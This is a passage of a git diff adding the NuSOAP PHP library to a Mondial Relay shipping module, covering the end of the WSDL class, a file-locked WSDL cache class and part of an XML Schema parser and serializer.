$use"); + $xml .= $this->serialize_val($v, $eName, false, false, false, false, $use); + } + } + } + } + } else { + $this->debug("no elements to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * adds an XML Schema complex type to the WSDL types + * + * @param string $name + * @param string $typeClass (complexType|simpleType|attribute) + * @param string $phpType currently supported are array and struct (php assoc array) + * @param string $compositor (all|sequence|choice) + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param array $elements e.g. array ( name => array(name=>'',type=>'') ) + * @param array $attrs e.g. array(array('ref'=>'SOAP-ENC:arrayType','wsdl:arrayType'=>'xsd:string[]')) + * @param string $arrayType as namespace:name (xsd:string) + * @see nusoap_xmlschema + * @access public + */ + function addComplexType($name,$typeClass='complexType',$phpType='array',$compositor='',$restrictionBase='',$elements=array(),$attrs=array(),$arrayType='') { + if (count($elements) > 0) { + $eElements = array(); + foreach($elements as $n => $e){ + // expand each element + $ee = array(); + foreach ($e as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $ee[$k] = $v; + } + $eElements[$n] = $ee; + } + $elements = $eElements; + } + + if (count($attrs) > 0) { + foreach($attrs as $n => $a){ + // expand each attribute + foreach ($a as $k => $v) { + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $aa[$k] = $v; + } + $eAttrs[$n] = $aa; + } + $attrs = $eAttrs; + } + + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + $arrayType = strpos($arrayType,':') ? $this->expandQname($arrayType) : $arrayType; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addComplexType($name,$typeClass,$phpType,$compositor,$restrictionBase,$elements,$attrs,$arrayType); + } + + /** + * adds an XML Schema simple type to the WSDL types + * + * @param string $name + * @param string $restrictionBase namespace:name (http://schemas.xmlsoap.org/soap/encoding/:Array) + * @param string $typeClass (should always be simpleType) + * @param string $phpType (should always be scalar) + * @param array $enumeration array of values + * @see nusoap_xmlschema + * @access public + */ + function addSimpleType($name, $restrictionBase='', $typeClass='simpleType', $phpType='scalar', $enumeration=array()) { + $restrictionBase = strpos($restrictionBase,':') ? $this->expandQname($restrictionBase) : $restrictionBase; + + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addSimpleType($name, $restrictionBase, $typeClass, $phpType, $enumeration); + } + + /** + * adds an element to the WSDL types + * + * @param array $attrs attributes that must include name and type + * @see nusoap_xmlschema + * @access public + */ + function addElement($attrs) { + $typens = isset($this->namespaces['types']) ? $this->namespaces['types'] : $this->namespaces['tns']; + $this->schemas[$typens][0]->addElement($attrs); + } + + /** + * register an operation with the server + * + * @param string $name operation (method) name + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param string $namespace optional The namespace for the operation + * @param string $soapaction optional The soapaction for the operation + * @param string $style (rpc|document) optional The style for the operation Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param string $use (encoded|literal) optional The use for the parameters (cannot mix right now) + * @param string $documentation optional The description to include in the WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function addOperation($name, $in = false, $out = false, $namespace = false, $soapaction = false, $style = 'rpc', $use = 'encoded', $documentation = '', $encodingStyle = ''){ + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } + + if ($style == 'document') { + $elements = array(); + foreach ($in as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'RequestType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name, 'type' => $name . 'RequestType')); + $in = array('parameters' => 'tns:' . $name . '^'); + + $elements = array(); + foreach ($out as $n => $t) { + $elements[$n] = array('name' => $n, 'type' => $t, 'form' => 'unqualified'); + } + $this->addComplexType($name . 'ResponseType', 'complexType', 'struct', 'all', '', $elements); + $this->addElement(array('name' => $name . 'Response', 'type' => $name . 'ResponseType', 'form' => 'qualified')); + $out = array('parameters' => 'tns:' . $name . 'Response' . '^'); + } + + // get binding + $this->bindings[ $this->serviceName . 'Binding' ]['operations'][$name] = + array( + 'name' => $name, + 'binding' => $this->serviceName . 'Binding', + 'endpoint' => $this->endpoint, + 'soapAction' => $soapaction, + 'style' => $style, + 'input' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Request', + 'parts' => $in), + 'output' => array( + 'use' => $use, + 'namespace' => $namespace, + 'encodingStyle' => $encodingStyle, + 'message' => $name . 'Response', + 'parts' => $out), + 'namespace' => $namespace, + 'transport' => 'http://schemas.xmlsoap.org/soap/http', + 'documentation' => $documentation); + // add portTypes + // add messages + if($in) + { + foreach($in as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Request'][$pName] = $pType; + } + } else { + $this->messages[$name.'Request']= '0'; + } + if($out) + { + foreach($out as $pName => $pType) + { + if(strpos($pType,':')) { + $pType = $this->getNamespaceFromPrefix($this->getPrefix($pType)).":".$this->getLocalPart($pType); + } + $this->messages[$name.'Response'][$pName] = $pType; + } + } else { + $this->messages[$name.'Response']= '0'; + } + return true; + } +} + diff --git a/modules/mondialrelay/lib/nusoap/class.wsdlcache.php b/modules/mondialrelay/lib/nusoap/class.wsdlcache.php new file mode 100755 index 0000000..eb003c1 --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.wsdlcache.php @@ -0,0 +1,209 @@ + +* @author Ingo Fischer +* @version $Id$ +* @access public +*/ +class nusoap_wsdlcache { + /** + * @var resource + * @access private + */ + var $fplock; + /** + * @var integer + * @access private + */ + var $cache_lifetime; + /** + * @var string + * @access private + */ + var $cache_dir; + /** + * @var string + * @access public + */ + var $debug_str = ''; + + /** + * constructor + * + * @param string $cache_dir directory for cache-files + * @param integer $cache_lifetime lifetime for caching-files in seconds or 0 for unlimited + * @access public + */ + function nusoap_wsdlcache($cache_dir='.', $cache_lifetime=0) { + $this->fplock = array(); + $this->cache_dir = $cache_dir != '' ? $cache_dir : '.'; + $this->cache_lifetime = $cache_lifetime; + } + + /** + * creates the filename used to cache a wsdl instance + * + * @param string $wsdl The URL of the wsdl instance + * @return string The filename used to cache the instance + * @access private + */ + function createFilename($wsdl) { + return $this->cache_dir.'/wsdlcache-' . md5($wsdl); + } + + /** + * adds debug data to the class level debug string + * + * @param string $string debug data + * @access private + */ + function debug($string){ + $this->debug_str .= get_class($this).": $string\n"; + } + + /** + * gets a wsdl instance from the cache + * + * @param string $wsdl The URL of the wsdl instance + * @return object wsdl The cached wsdl instance, null if the instance is not in the cache + * @access public + */ + function get($wsdl) { + $filename = $this->createFilename($wsdl); + if ($this->obtainMutex($filename, "r")) { + // check for expired WSDL that must be removed from the cache + if ($this->cache_lifetime > 0) { + if (file_exists($filename) && (time() - filemtime($filename) > $this->cache_lifetime)) { + unlink($filename); + $this->debug("Expired $wsdl ($filename) from cache"); + $this->releaseMutex($filename); + return null; + } + } + // see what there is to return + if (!file_exists($filename)) { + $this->debug("$wsdl ($filename) not in cache (1)"); + $this->releaseMutex($filename); + return null; + } + $fp = @fopen($filename, "r"); + if ($fp) { + $s = implode("", @file($filename)); + fclose($fp); + $this->debug("Got $wsdl ($filename) from cache"); + } else { + $s = null; + $this->debug("$wsdl ($filename) not in cache (2)"); + } + $this->releaseMutex($filename); + return (!is_null($s)) ? unserialize($s) : null; + } else { + $this->debug("Unable to obtain mutex for $filename in get"); + } + return null; + } + + /** + * obtains the local mutex + * + * @param string $filename The Filename of the Cache to lock + * @param string $mode The open-mode ("r" or "w") or the file - affects lock-mode + * @return boolean Lock successfully obtained ?! + * @access private + */ + function obtainMutex($filename, $mode) { + if (isset($this->fplock[md5($filename)])) { + $this->debug("Lock for $filename already exists"); + return false; + } + $this->fplock[md5($filename)] = fopen($filename.".lock", "w"); + if ($mode == "r") { + return flock($this->fplock[md5($filename)], LOCK_SH); + } else { + return flock($this->fplock[md5($filename)], LOCK_EX); + } + } + + /** + * adds a wsdl instance to the cache + * + * @param object wsdl $wsdl_instance The wsdl instance to add + * @return boolean WSDL successfully cached + * @access public + */ + function put($wsdl_instance) { + $filename = $this->createFilename($wsdl_instance->wsdl); + $s = serialize($wsdl_instance); + if ($this->obtainMutex($filename, "w")) { + $fp = fopen($filename, "w"); + if (! $fp) { + $this->debug("Cannot write $wsdl_instance->wsdl ($filename) in cache"); + $this->releaseMutex($filename); + return false; + } + fputs($fp, $s); + fclose($fp); + $this->debug("Put $wsdl_instance->wsdl ($filename) in cache"); + $this->releaseMutex($filename); + return true; + } else { + $this->debug("Unable to obtain mutex for $filename in put"); + } + return false; + } + + /** + * releases the local mutex + * + * @param string $filename The Filename of the Cache to lock + * @return boolean Lock successfully released + * @access private + */ + function releaseMutex($filename) { + $ret = flock($this->fplock[md5($filename)], LOCK_UN); + fclose($this->fplock[md5($filename)]); + unset($this->fplock[md5($filename)]); + if (! $ret) { + $this->debug("Not able to release lock for $filename"); + } + return $ret; + } + + /** + * removes a wsdl instance from the cache + * + * @param string $wsdl The URL of the wsdl instance + * @return boolean Whether there was an instance to remove + * @access public + */ + function remove($wsdl) { + $filename = $this->createFilename($wsdl); + if (!file_exists($filename)) { + $this->debug("$wsdl ($filename) not in cache to be removed"); + return false; + } + // ignore errors obtaining mutex + $this->obtainMutex($filename, "w"); + $ret = unlink($filename); + $this->debug("Removed ($ret) $wsdl ($filename) from cache"); + $this->releaseMutex($filename); + return $ret; + } +} + +/** + * For backward compatibility + */ +class wsdlcache extends nusoap_wsdlcache { +} +?> diff --git a/modules/mondialrelay/lib/nusoap/class.xmlschema.php b/modules/mondialrelay/lib/nusoap/class.xmlschema.php new file mode 100755 index 0000000..621f19f --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.xmlschema.php @@ -0,0 +1,972 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_xmlschema extends nusoap_base { + + // files + var $schema = ''; + var $xml = ''; + // namespaces + var $enclosingNamespaces; + // schema info + var $schemaInfo = array(); + var $schemaTargetNamespace = ''; + // types, elements, attributes defined by the schema + var $attributes = array(); + var $complexTypes = array(); + var $complexTypeStack = array(); + var $currentComplexType = null; + var $elements = array(); + var $elementStack = array(); + var $currentElement = null; + var $simpleTypes = array(); + var $simpleTypeStack = array(); + var $currentSimpleType = null; + // imports + var $imports = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + var $message = array(); + var $defaultNamespace = array(); + + /** + * constructor + * + * @param string $schema schema document URI + * @param string $xml xml document URI + * @param string $namespaces namespaces defined in enclosing XML + * @access public + */ + function nusoap_xmlschema($schema='',$xml='',$namespaces=array()){ + parent::nusoap_base(); + $this->debug('nusoap_xmlschema class instantiated, inside constructor'); + // files + $this->schema = $schema; + $this->xml = $xml; + + // namespaces + $this->enclosingNamespaces = $namespaces; + $this->namespaces = array_merge($this->namespaces, $namespaces); + + // parse schema file + if($schema != ''){ + $this->debug('initial schema file: '.$schema); + $this->parseFile($schema, 'schema'); + } + + // parse xml file + if($xml != ''){ + $this->debug('initial xml file: '.$xml); + $this->parseFile($xml, 'xml'); + } + + } + + /** + * parse an XML file + * + * @param string $xml path/URL to XML file + * @param string $type (schema | xml) + * @return boolean + * @access public + */ + function parseFile($xml,$type){ + // parse xml file + if($xml != ""){ + $xmlStr = @join("",@file($xml)); + if($xmlStr == ""){ + $msg = 'Error reading XML from '.$xml; + $this->setError($msg); + $this->debug($msg); + return false; + } else { + $this->debug("parsing $xml"); + $this->parseString($xmlStr,$type); + $this->debug("done parsing $xml"); + return true; + } + } + return false; + } + + /** + * parse an XML string + * + * @param string $xml path or URL + * @param string $type (schema|xml) + * @access private + */ + function parseString($xml,$type){ + // parse xml string + if($xml != ""){ + + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + + // Set the object for the parser. + xml_set_object($this->parser, $this); + + // Set the element handlers for the parser. + if($type == "schema"){ + xml_set_element_handler($this->parser, 'schemaStartElement','schemaEndElement'); + xml_set_character_data_handler($this->parser,'schemaCharacterData'); + } elseif($type == "xml"){ + xml_set_element_handler($this->parser, 'xmlStartElement','xmlEndElement'); + xml_set_character_data_handler($this->parser,'xmlCharacterData'); + } + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $errstr = sprintf('XML error parsing XML schema on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $xml); + $this->setError($errstr); + } + + xml_parser_free($this->parser); + } else{ + $this->debug('no xml passed to parseString()!!'); + $this->setError('no xml passed to parseString()!!'); + } + } + + /** + * gets a type name for an unnamed type + * + * @param string Element name + * @return string A type name for an unnamed type + * @access private + */ + function CreateTypeName($ename) { + $scope = ''; + for ($i = 0; $i < count($this->complexTypeStack); $i++) { + $scope .= $this->complexTypeStack[$i] . '_'; + } + return $scope . $ename . '_ContainedType'; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function schemaStartElement($parser, $name, $attrs) { + + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + if ($depth > 0) { + $this->defaultNamespace[$pos] = $this->defaultNamespace[$this->depth_array[$depth - 1]]; + } else { + $this->defaultNamespace[$pos] = false; + } + + // get element prefix + if($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + + // loop thru attributes, expanding, and registering namespace declarations + if(count($attrs) > 0){ + foreach($attrs as $k => $v){ + // if ns declarations, add to class level array of valid namespaces + if(preg_match('/^xmlns/',$k)){ + //$this->xdebug("$k: $v"); + //$this->xdebug('ns_prefix: '.$this->getPrefix($k)); + if($ns_prefix = substr(strrchr($k,':'),1)){ + //$this->xdebug("Add namespace[$ns_prefix] = $v"); + $this->namespaces[$ns_prefix] = $v; + } else { + $this->defaultNamespace[$pos] = $v; + if (! $this->getPrefixFromNamespace($v)) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $v; + } + } + if($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema'){ + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v.'-instance'; + } + } + } + foreach($attrs as $k => $v){ + // expand each attribute + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // find status, register data + switch($name){ + case 'all': // (optional) compositor content for a complexType + case 'choice': + case 'group': + case 'sequence': + //$this->xdebug("compositor $name for currentComplexType: $this->currentComplexType and currentElement: $this->currentElement"); + $this->complexTypes[$this->currentComplexType]['compositor'] = $name; + //if($name == 'all' || $name == 'sequence'){ + // $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + //} + break; + case 'attribute': // complexType attribute + //$this->xdebug("parsing attribute $attrs[name] $attrs[ref] of value: ".$attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']); + $this->xdebug("parsing attribute:"); + $this->appendDebug($this->varDump($attrs)); + if (!isset($attrs['form'])) { + // TODO: handle globals + $attrs['form'] = $this->schemaInfo['attributeFormDefault']; + } + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + if (!strpos($v, ':')) { + // no namespace in arrayType attribute value... + if ($this->defaultNamespace[$pos]) { + // ...so use the default + $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'] = $this->defaultNamespace[$pos] . ':' . $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } + } + } + if(isset($attrs['name'])){ + $this->attributes[$attrs['name']] = $attrs; + $aname = $attrs['name']; + } elseif(isset($attrs['ref']) && $attrs['ref'] == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){ + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $aname = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $aname = ''; + } + } elseif(isset($attrs['ref'])){ + $aname = $attrs['ref']; + $this->attributes[$attrs['ref']] = $attrs; + } + + if($this->currentComplexType){ // This should *always* be + $this->complexTypes[$this->currentComplexType]['attrs'][$aname] = $attrs; + } + // arrayType attribute + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']) || $this->getLocalPart($aname) == 'arrayType'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + $prefix = $this->getPrefix($aname); + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])){ + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $v = ''; + } + if(strpos($v,'[,]')){ + $this->complexTypes[$this->currentComplexType]['multidimensional'] = true; + } + $v = substr($v,0,strpos($v,'[')); // clip the [] + if(!strpos($v,':') && isset($this->typemap[$this->XMLSchemaVersion][$v])){ + $v = $this->XMLSchemaVersion.':'.$v; + } + $this->complexTypes[$this->currentComplexType]['arrayType'] = $v; + } + break; + case 'complexContent': // (optional) content for a complexType + $this->xdebug("do nothing for element $name"); + break; + case 'complexType': + array_push($this->complexTypeStack, $this->currentComplexType); + if(isset($attrs['name'])){ + // TODO: what is the scope of named complexTypes that appear + // nested within other c complexTypes? + $this->xdebug('processing named complexType '.$attrs['name']); + //$this->currentElement = false; + $this->currentComplexType = $attrs['name']; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } else { + $name = $this->CreateTypeName($this->currentElement); + $this->xdebug('processing unnamed complexType for element ' . $this->currentElement . ' named ' . $name); + $this->currentComplexType = $name; + //$this->currentElement = false; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'false'; + break; + case 'element': + array_push($this->elementStack, $this->currentElement); + if (!isset($attrs['form'])) { + if ($this->currentComplexType) { + $attrs['form'] = $this->schemaInfo['elementFormDefault']; + } else { + // global + $attrs['form'] = 'qualified'; + } + } + if(isset($attrs['type'])){ + $this->xdebug("processing typed element ".$attrs['name']." of type ".$attrs['type']); + if (! $this->getPrefix($attrs['type'])) { + if ($this->defaultNamespace[$pos]) { + $attrs['type'] = $this->defaultNamespace[$pos] . ':' . $attrs['type']; + $this->xdebug('used default namespace to make type ' . $attrs['type']); + } + } + // This is for constructs like + // + // + // + // + // + if ($this->currentComplexType && $this->complexTypes[$this->currentComplexType]['phpType'] == 'array') { + $this->xdebug('arrayType for unusual array is ' . $attrs['type']); + $this->complexTypes[$this->currentComplexType]['arrayType'] = $attrs['type']; + } + $this->currentElement = $attrs['name']; + $ename = $attrs['name']; + } elseif(isset($attrs['ref'])){ + $this->xdebug("processing element as ref to ".$attrs['ref']); + $this->currentElement = "ref to ".$attrs['ref']; + $ename = $this->getLocalPart($attrs['ref']); + } else { + $type = $this->CreateTypeName($this->currentComplexType . '_' . $attrs['name']); + $this->xdebug("processing untyped element " . $attrs['name'] . ' type ' . $type); + $this->currentElement = $attrs['name']; + $attrs['type'] = $this->schemaTargetNamespace . ':' . $type; + $ename = $attrs['name']; + } + if (isset($ename) && $this->currentComplexType) { + $this->xdebug("add element $ename to complexType $this->currentComplexType"); + $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs; + } elseif (!isset($attrs['ref'])) { + $this->xdebug("add element $ename to elements array"); + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + } + break; + case 'enumeration': // restriction value list member + $this->xdebug('enumeration ' . $attrs['value']); + if ($this->currentSimpleType) { + $this->simpleTypes[$this->currentSimpleType]['enumeration'][] = $attrs['value']; + } elseif ($this->currentComplexType) { + $this->complexTypes[$this->currentComplexType]['enumeration'][] = $attrs['value']; + } + break; + case 'extension': // simpleContent or complexContent type extension + $this->xdebug('extension ' . $attrs['base']); + if ($this->currentComplexType) { + $ns = $this->getPrefix($attrs['base']); + if ($ns == '') { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $this->schemaTargetNamespace . ':' . $attrs['base']; + } else { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $attrs['base']; + } + } else { + $this->xdebug('no current complexType to set extensionBase'); + } + break; + case 'import': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('import namespace ' . $attrs['namespace'] . ' from ' . $attrs['schemaLocation']); + $this->imports[$attrs['namespace']][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('import namespace ' . $attrs['namespace']); + $this->imports[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + } + break; + case 'include': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('include into namespace ' . $this->schemaTargetNamespace . ' from ' . $attrs['schemaLocation']); + $this->imports[$this->schemaTargetNamespace][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('ignoring invalid XML Schema construct: include without schemaLocation attribute'); + } + break; + case 'list': // simpleType value list + $this->xdebug("do nothing for element $name"); + break; + case 'restriction': // simpleType, simpleContent or complexContent value restriction + $this->xdebug('restriction ' . $attrs['base']); + if($this->currentSimpleType){ + $this->simpleTypes[$this->currentSimpleType]['type'] = $attrs['base']; + } elseif($this->currentComplexType){ + $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base']; + if(strstr($attrs['base'],':') == ':Array'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } + } + break; + case 'schema': + $this->schemaInfo = $attrs; + $this->schemaInfo['schemaVersion'] = $this->getNamespaceFromPrefix($prefix); + if (isset($attrs['targetNamespace'])) { + $this->schemaTargetNamespace = $attrs['targetNamespace']; + } + if (!isset($attrs['elementFormDefault'])) { + $this->schemaInfo['elementFormDefault'] = 'unqualified'; + } + if (!isset($attrs['attributeFormDefault'])) { + $this->schemaInfo['attributeFormDefault'] = 'unqualified'; + } + break; + case 'simpleContent': // (optional) content for a complexType + if ($this->currentComplexType) { // This should *always* be + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'true'; + } else { + $this->xdebug("do nothing for element $name because there is no current complexType"); + } + break; + case 'simpleType': + array_push($this->simpleTypeStack, $this->currentSimpleType); + if(isset($attrs['name'])){ + $this->xdebug("processing simpleType for name " . $attrs['name']); + $this->currentSimpleType = $attrs['name']; + $this->simpleTypes[ $attrs['name'] ] = $attrs; + $this->simpleTypes[ $attrs['name'] ]['typeClass'] = 'simpleType'; + $this->simpleTypes[ $attrs['name'] ]['phpType'] = 'scalar'; + } else { + $name = $this->CreateTypeName($this->currentComplexType . '_' . $this->currentElement); + $this->xdebug('processing unnamed simpleType for element ' . $this->currentElement . ' named ' . $name); + $this->currentSimpleType = $name; + //$this->currentElement = false; + $this->simpleTypes[$this->currentSimpleType] = $attrs; + $this->simpleTypes[$this->currentSimpleType]['phpType'] = 'scalar'; + } + break; + case 'union': // simpleType type list + $this->xdebug("do nothing for element $name"); + break; + default: + $this->xdebug("do not have any logic to process element $name"); + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function schemaEndElement($parser, $name) { + // bring depth down a notch + $this->depth--; + // position of current element is equal to the last value left in depth_array for my depth + if(isset($this->depth_array[$this->depth])){ + $pos = $this->depth_array[$this->depth]; + } + // get element prefix + if ($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + // move on... + if($name == 'complexType'){ + $this->xdebug('done processing complexType ' . ($this->currentComplexType ? $this->currentComplexType : '(unknown)')); + $this->xdebug($this->varDump($this->complexTypes[$this->currentComplexType])); + $this->currentComplexType = array_pop($this->complexTypeStack); + //$this->currentElement = false; + } + if($name == 'element'){ + $this->xdebug('done processing element ' . ($this->currentElement ? $this->currentElement : '(unknown)')); + $this->currentElement = array_pop($this->elementStack); + } + if($name == 'simpleType'){ + $this->xdebug('done processing simpleType ' . ($this->currentSimpleType ? $this->currentSimpleType : '(unknown)')); + $this->xdebug($this->varDump($this->simpleTypes[$this->currentSimpleType])); + $this->currentSimpleType = array_pop($this->simpleTypeStack); + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function schemaCharacterData($parser, $data){ + $pos = $this->depth_array[$this->depth - 1]; + $this->message[$pos]['cdata'] .= $data; + } + + /** + * serialize the schema + * + * @access public + */ + function serializeSchema(){ + + $schemaPrefix = $this->getPrefixFromNamespace($this->XMLSchemaVersion); + $xml = ''; + // imports + if (sizeof($this->imports) > 0) { + foreach($this->imports as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= " <$schemaPrefix:import location=\"" . $ii['location'] . '" namespace="' . $ns . "\" />\n"; + } else { + $xml .= " <$schemaPrefix:import namespace=\"" . $ns . "\" />\n"; + } + } + } + } + // complex types + foreach($this->complexTypes as $typeName => $attrs){ + $contentStr = ''; + // serialize child elements + if(isset($attrs['elements']) && (count($attrs['elements']) > 0)){ + foreach($attrs['elements'] as $element => $eParts){ + if(isset($eParts['ref'])){ + $contentStr .= " <$schemaPrefix:element ref=\"$element\"/>\n"; + } else { + $contentStr .= " <$schemaPrefix:element name=\"$element\" type=\"" . $this->contractQName($eParts['type']) . "\""; + foreach ($eParts as $aName => $aValue) { + // handle, e.g., abstract, default, form, minOccurs, maxOccurs, nillable + if ($aName != 'name' && $aName != 'type') { + $contentStr .= " $aName=\"$aValue\""; + } + } + $contentStr .= "/>\n"; + } + } + // compositor wraps elements + if (isset($attrs['compositor']) && ($attrs['compositor'] != '')) { + $contentStr = " <$schemaPrefix:$attrs[compositor]>\n".$contentStr." \n"; + } + } + // attributes + if(isset($attrs['attrs']) && (count($attrs['attrs']) >= 1)){ + foreach($attrs['attrs'] as $attr => $aParts){ + $contentStr .= " <$schemaPrefix:attribute"; + foreach ($aParts as $a => $v) { + if ($a == 'ref' || $a == 'type') { + $contentStr .= " $a=\"".$this->contractQName($v).'"'; + } elseif ($a == 'http://schemas.xmlsoap.org/wsdl/:arrayType') { + $this->usedNamespaces['wsdl'] = $this->namespaces['wsdl']; + $contentStr .= ' wsdl:arrayType="'.$this->contractQName($v).'"'; + } else { + $contentStr .= " $a=\"$v\""; + } + } + $contentStr .= "/>\n"; + } + } + // if restriction + if (isset($attrs['restrictionBase']) && $attrs['restrictionBase'] != ''){ + $contentStr = " <$schemaPrefix:restriction base=\"".$this->contractQName($attrs['restrictionBase'])."\">\n".$contentStr." \n"; + // complex or simple content + if ((isset($attrs['elements']) && count($attrs['elements']) > 0) || (isset($attrs['attrs']) && count($attrs['attrs']) > 0)){ + $contentStr = " <$schemaPrefix:complexContent>\n".$contentStr." \n"; + } + } + // finalize complex type + if($contentStr != ''){ + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\">\n".$contentStr." \n"; + } else { + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\"/>\n"; + } + $xml .= $contentStr; + } + // simple types + if(isset($this->simpleTypes) && count($this->simpleTypes) > 0){ + foreach($this->simpleTypes as $typeName => $eParts){ + $xml .= " <$schemaPrefix:simpleType name=\"$typeName\">\n <$schemaPrefix:restriction base=\"".$this->contractQName($eParts['type'])."\">\n"; + if (isset($eParts['enumeration'])) { + foreach ($eParts['enumeration'] as $e) { + $xml .= " <$schemaPrefix:enumeration value=\"$e\"/>\n"; + } + } + $xml .= " \n "; + } + } + // elements + if(isset($this->elements) && count($this->elements) > 0){ + foreach($this->elements as $element => $eParts){ + $xml .= " <$schemaPrefix:element name=\"$element\" type=\"".$this->contractQName($eParts['type'])."\"/>\n"; + } + } + // attributes + if(isset($this->attributes) && count($this->attributes) > 0){ + foreach($this->attributes as $attr => $aParts){ + $xml .= " <$schemaPrefix:attribute name=\"$attr\" type=\"".$this->contractQName($aParts['type'])."\"\n/>"; + } + } + // finish 'er up + $attr = ''; + foreach ($this->schemaInfo as $k => $v) { + if ($k == 'elementFormDefault' || $k == 'attributeFormDefault') { + $attr .= " $k=\"$v\""; + } + } + $el = "<$schemaPrefix:schema$attr targetNamespace=\"$this->schemaTargetNamespace\"\n"; + foreach (array_diff($this->usedNamespaces, $this->enclosingNamespaces) as $nsp => $ns) { + $el .= " 